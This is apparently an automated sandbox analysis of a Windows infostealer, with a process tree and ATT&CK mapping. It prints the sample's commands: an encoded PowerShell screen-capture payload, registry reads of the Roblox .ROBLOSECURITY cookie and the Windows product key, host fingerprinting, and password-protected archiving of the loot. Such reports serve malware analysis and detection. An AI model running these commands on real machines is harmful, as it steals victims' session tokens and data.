AgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4796
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4772
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dlc1mjbt\dlc1mjbt.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4920
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES83B2.tmp" "c:\Users\Admin\AppData\Local\Temp\dlc1mjbt\CSCB297B35AD72C4F6FB28C9581D90FBB.TMP"
        6⤵
        
        PID:5100
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:6084
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5572
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:972
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5800
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1096
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4284
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2552
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4568
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5456
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3864
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:3596
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3356
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3564
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI00000a902\rar.exe a -r -hp"poohman09" "C:\Users\Admin\AppData\Local\Temp\jLwQe.zip" *"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3708
  - - C:\Users\Admin\AppData\Local\Temp\_MEI00000a902\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI00000a902\rar.exe a -r -hp"poohman09" "C:\Users\Admin\AppData\Local\Temp\jLwQe.zip" *
      4⤵
      Executes dropped EXE
      PID:1572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3472
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Reads the TCP/IP host and domain name from the registry
      Suspicious use of AdjustPrivilegeToken
      PID:2572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3928
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      Reads the TCP/IP host and domain name from the registry
      PID:3804
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1420
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Queries system WMI classes for hardware identifiers
      Reads the TCP/IP host and domain name from the registry
      PID:5584
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2136
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:656
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:732
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Reads the TCP/IP host and domain name from the registry
      Detects videocard installed
      PID:4200
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4472
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1952

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Windows Management Instrumentation

T1047

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...